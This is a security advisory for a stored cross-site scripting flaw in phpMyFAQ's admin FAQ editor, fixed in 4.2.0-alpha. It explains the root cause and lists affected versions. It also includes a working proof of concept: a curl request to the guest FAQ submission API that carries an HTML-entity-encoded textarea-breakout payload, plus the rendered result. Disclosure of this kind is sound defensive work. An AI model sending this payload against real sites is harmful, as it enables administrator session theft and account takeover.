thorsten/phpmyfaq: phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
What fixes it
- 4.2.0-alphathorsten/phpmyfaq, composerGitHub
composer require "thorsten/phpmyfaq:^4.2.0-alpha" - 4.2.0-alphaphpmyfaq/phpmyfaq, composerGitHub
composer require "phpmyfaq/phpmyfaq:^4.2.0-alpha" - 4.2.0-alphathorsten/phpmyfaq, PackagistOSV
composer require "thorsten/phpmyfaq:^4.2.0-alpha" - 4.2.0-alphaphpmyfaq/phpmyfaq, PackagistOSV
composer require "phpmyfaq/phpmyfaq:^4.2.0-alpha"
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Summary
A stored cross-site scripting (XSS) vulnerability in phpMyFAQ allows any unauthenticated user (or low-privileged registered user) to inject arbitrary JavaScript that executes in an administrator's browser when they review or edit a user-submitted FAQ entry. This leads to admin account takeover via session theft. The vulnerability exists because html_entity_decode() converts HTML entities into executable HTML after strip_tags() has already passed them through, and the admin template renders the content with Twig's |raw filter without any output sanitization.
Details
Vulnerable file: phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php (lines 109-115)
$answer = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);
if ($this->configuration->get(item: 'main.enableWysiwygEditorFrontend')) {
$answer = trim(html_entity_decode((string) $answer));
}Root cause:
Filter::filterVar() with FILTER_SANITIZE_SPECIAL_CHARS internally calls filterSanitizeString() which applies strip_tags() to remove HTML tags. However, strip_tags() only removes actual HTML tag syntax (e.g., <script>) — it does NOT remove HTML entities (e.g., <script>).
When enableWysiwygEditorFrontend is true, html_entity_decode() is subsequently called, which converts the surviving HTML entities into real, executable HTML. No server-side HTML sanitizer (such as the Symfony HtmlSanitizer already used elsewhere in the codebase) is applied before storing the content in the database.
Vulnerable sink (admin template): phpmyfaq/assets/templates/admin/content/faq.editor.twig (line 127)
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="{{ 'msgAnswer' | translate }}"
>{{ faqData['content'] | raw }}</textarea>The admin FAQ editor controller (Administration/FaqController.php) loads the FAQ content directly from the database and passes it to the template without sanitization:
$this->faq->getFaq($faqId, null, true); $faqData = $this->faq->faqRecord; // Raw content from DB
Note: The public-facing FAQ view IS properly sanitized via FaqHelper::cleanUpContent() which uses Symfony HtmlSanitizer. Only the admin edit view is vulnerable.
PoC
Prerequisites:
main.enableWysiwygEditorFrontend=true(non-default, but commonly enabled for rich-text user FAQ contributions)records.allowNewFaqsForGuests=true(DEFAULT value — guests can submit FAQs)- At least one FAQ category must exist
Step 1: Inject XSS payload as unauthenticated guest
curl -X POST https://TARGET/api/faq/create \
-H 'Content-Type: application/json' \
-d '{
"name": "Legitimate User",
"email": "user@example.com",
"question": "How to configure SMTP settings?",
"answer": "</textarea><img src=x onerror=alert(document.domain)><textarea>",
"lang": "en",
"keywords": "smtp email",
"rubrik": ["1"],
"captcha": "<valid-captcha-or-empty-if-disabled>"
}'Response: {"success":"Thank you for your suggestion!"}
Processing trace:
- Input answer:
</textarea><img src=x onerror=alert(document.domain)><textarea> filterSanitizeString()→strip_tags()finds no actual<tag>syntax → string passes through unchangedhtml_entity_decode()converts entities →</textarea><img src=x onerror=alert(document.domain)><textarea>- Stored in database as raw executable HTML
Step 2: Admin triggers XSS by reviewing the submitted FAQ
When an administrator navigates to edit the submitted FAQ entry:
GET /admin/faq/edit/{faqId}/{lang}The admin template renders:
<textarea id="editor" name="answer" class="form-control" rows="7"
placeholder="Answer"
></textarea><img src=x onerror=alert(document.domain)><textarea></textarea>The </textarea> breaks out of the editor textarea element, and the <img onerror=...> executes JavaScript immediately in the admin's browser context.
<img width="1387" height="562" alt="admin stored xss alert poc" src="https://github.com/user-attachments/assets/98d6a40d-1e21-41dc-8705-102876b9cf8a" /> <img width="1393" height="805" alt="admin stored xss poc" src="https://github.com/user-attachments/assets/7362a324-e779-4157-be4f-9d35fbe25333" />
Note: For logged-in users submitting FAQs, the captcha check is automatically bypassed (BuiltinCaptcha::checkCaptchaCode() returns true when user is logged in).
Impact
- Stored XSS targeting administrators — every FAQ submission is reviewed by an admin, guaranteeing payload delivery
- Admin account takeover — attacker can steal session cookies, create new admin accounts, or modify system configuration
- No special privileges required — default configuration allows guest FAQ submissions (
records.allowNewFaqsForGuests=true) - Public view is unaffected — the public FAQ display uses Symfony HtmlSanitizer which strips event handlers; only the admin panel is vulnerable
Text from GitHub Advisory Database
Affected versions 105
- thorsten/phpmyfaq, composer< 4.2.0-alphaGitHub
- phpmyfaq/phpmyfaq, composer< 4.2.0-alphaGitHub
- phpMyFAQaffected: < 4.2.0-alphaCVE List
- thorsten/phpmyfaq, Packagistfrom first release, fixed in 4.2.0-alphaOSV
- thorsten/phpmyfaq, Packagist2.10.0-alphaOSV
- thorsten/phpmyfaq, Packagist2.8.0OSV
- thorsten/phpmyfaq, Packagist2.8.0-RCOSV
- thorsten/phpmyfaq, Packagist2.8.0-RC2OSV
- thorsten/phpmyfaq, Packagist2.8.0-RC3OSV
- thorsten/phpmyfaq, Packagist2.8.0-RC4OSV
- thorsten/phpmyfaq, Packagist2.8.0-alpha2OSV
- thorsten/phpmyfaq, Packagist2.8.0-alpha3OSV
- thorsten/phpmyfaq, Packagist2.8.0-betaOSV
- thorsten/phpmyfaq, Packagist2.8.0-beta2OSV
- thorsten/phpmyfaq, Packagist2.8.0-beta3OSV
- thorsten/phpmyfaq, Packagist2.8.1OSV
- thorsten/phpmyfaq, Packagist2.8.10OSV
- thorsten/phpmyfaq, Packagist2.8.11OSV
- thorsten/phpmyfaq, Packagist2.8.12OSV
- thorsten/phpmyfaq, Packagist2.8.13OSV
- thorsten/phpmyfaq, Packagist2.8.14OSV
- thorsten/phpmyfaq, Packagist2.8.15OSV
- thorsten/phpmyfaq, Packagist2.8.16OSV
- thorsten/phpmyfaq, Packagist2.8.17OSV
- thorsten/phpmyfaq, Packagist2.8.18OSV
- thorsten/phpmyfaq, Packagist2.8.19OSV
- thorsten/phpmyfaq, Packagist2.8.2OSV
- thorsten/phpmyfaq, Packagist2.8.20OSV
- thorsten/phpmyfaq, Packagist2.8.21OSV
- thorsten/phpmyfaq, Packagist2.8.22OSV
- thorsten/phpmyfaq, Packagist2.8.23OSV
- thorsten/phpmyfaq, Packagist2.8.24OSV
- thorsten/phpmyfaq, Packagist2.8.25OSV
- thorsten/phpmyfaq, Packagist2.8.26OSV
- thorsten/phpmyfaq, Packagist2.8.27OSV
- thorsten/phpmyfaq, Packagist2.8.28OSV
- thorsten/phpmyfaq, Packagist2.8.29OSV
- thorsten/phpmyfaq, Packagist2.8.3OSV
- thorsten/phpmyfaq, Packagist2.8.4OSV
- thorsten/phpmyfaq, Packagist2.8.5OSV
- thorsten/phpmyfaq, Packagist2.8.6OSV
- thorsten/phpmyfaq, Packagist2.8.7OSV
- thorsten/phpmyfaq, Packagist2.8.8OSV
- thorsten/phpmyfaq, Packagist2.8.9OSV
- thorsten/phpmyfaq, Packagist2.9.0OSV
- thorsten/phpmyfaq, Packagist2.9.0-alphaOSV
- thorsten/phpmyfaq, Packagist2.9.0-alpha2OSV
- thorsten/phpmyfaq, Packagist2.9.0-alpha3OSV
- thorsten/phpmyfaq, Packagist2.9.0-alpha4OSV
- thorsten/phpmyfaq, Packagist2.9.0-betaOSV
- thorsten/phpmyfaq, Packagist2.9.0-beta2OSV
- thorsten/phpmyfaq, Packagist2.9.0-rcOSV
- thorsten/phpmyfaq, Packagist2.9.0-rc2OSV
- thorsten/phpmyfaq, Packagist2.9.0-rc3OSV
- phpmyfaq/phpmyfaq, Packagistfrom first release, fixed in 4.2.0-alphaOSV
- phpmyfaq/phpmyfaq, Packagist2.10.0-alphaOSV
- phpmyfaq/phpmyfaq, Packagist2.8.0OSV
- phpmyfaq/phpmyfaq, Packagist2.8.0-RCOSV
- phpmyfaq/phpmyfaq, Packagist2.8.0-RC2OSV
- phpmyfaq/phpmyfaq, Packagist2.8.0-RC3OSV
- phpmyfaq/phpmyfaq, Packagist2.8.0-RC4OSV
- phpmyfaq/phpmyfaq, Packagist2.8.0-alpha2OSV
- phpmyfaq/phpmyfaq, Packagist2.8.0-alpha3OSV
- phpmyfaq/phpmyfaq, Packagist2.8.0-betaOSV
- phpmyfaq/phpmyfaq, Packagist2.8.0-beta2OSV
- phpmyfaq/phpmyfaq, Packagist2.8.0-beta3OSV
- phpmyfaq/phpmyfaq, Packagist2.8.1OSV
- phpmyfaq/phpmyfaq, Packagist2.8.10OSV
- phpmyfaq/phpmyfaq, Packagist2.8.11OSV
- phpmyfaq/phpmyfaq, Packagist2.8.12OSV
- phpmyfaq/phpmyfaq, Packagist2.8.13OSV
- phpmyfaq/phpmyfaq, Packagist2.8.14OSV
- phpmyfaq/phpmyfaq, Packagist2.8.15OSV
- phpmyfaq/phpmyfaq, Packagist2.8.16OSV
- phpmyfaq/phpmyfaq, Packagist2.8.17OSV
- phpmyfaq/phpmyfaq, Packagist2.8.18OSV
- phpmyfaq/phpmyfaq, Packagist2.8.19OSV
- phpmyfaq/phpmyfaq, Packagist2.8.2OSV
- phpmyfaq/phpmyfaq, Packagist2.8.20OSV
- phpmyfaq/phpmyfaq, Packagist2.8.21OSV
- phpmyfaq/phpmyfaq, Packagist2.8.22OSV
- phpmyfaq/phpmyfaq, Packagist2.8.23OSV
- phpmyfaq/phpmyfaq, Packagist2.8.24OSV
- phpmyfaq/phpmyfaq, Packagist2.8.25OSV
- phpmyfaq/phpmyfaq, Packagist2.8.26OSV
- phpmyfaq/phpmyfaq, Packagist2.8.27OSV
- phpmyfaq/phpmyfaq, Packagist2.8.28OSV
- phpmyfaq/phpmyfaq, Packagist2.8.29OSV
- phpmyfaq/phpmyfaq, Packagist2.8.3OSV
- phpmyfaq/phpmyfaq, Packagist2.8.4OSV
- phpmyfaq/phpmyfaq, Packagist2.8.5OSV
- phpmyfaq/phpmyfaq, Packagist2.8.6OSV
- phpmyfaq/phpmyfaq, Packagist2.8.7OSV
- phpmyfaq/phpmyfaq, Packagist2.8.8OSV
- phpmyfaq/phpmyfaq, Packagist2.8.9OSV
- phpmyfaq/phpmyfaq, Packagist2.9.0OSV
- phpmyfaq/phpmyfaq, Packagist2.9.0-alphaOSV
- phpmyfaq/phpmyfaq, Packagist2.9.0-alpha2OSV
- phpmyfaq/phpmyfaq, Packagist2.9.0-alpha3OSV
- phpmyfaq/phpmyfaq, Packagist2.9.0-alpha4OSV
- phpmyfaq/phpmyfaq, Packagist2.9.0-betaOSV
- phpmyfaq/phpmyfaq, Packagist2.9.0-beta2OSV
- phpmyfaq/phpmyfaq, Packagist2.9.0-rcOSV
- phpmyfaq/phpmyfaq, Packagist2.9.0-rc2OSV
- phpmyfaq/phpmyfaq, Packagist2.9.0-rc3OSV
References 5
- github.com/thorsten/phpMyFAQ/commit/24b68068747ad632398e3b3bab2989e76e43ef82Fixvia GitHub
- github.com/thorsten/phpMyFAQ/releases/tag/4.2.0-alphaFixvia GitHub
- github.com/advisories/GHSA-pgwp-vc7q-cvj3Advisoryvia GitHub
- github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pgwp-vc7q-cvj3Exploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-56736Referencevia GitHub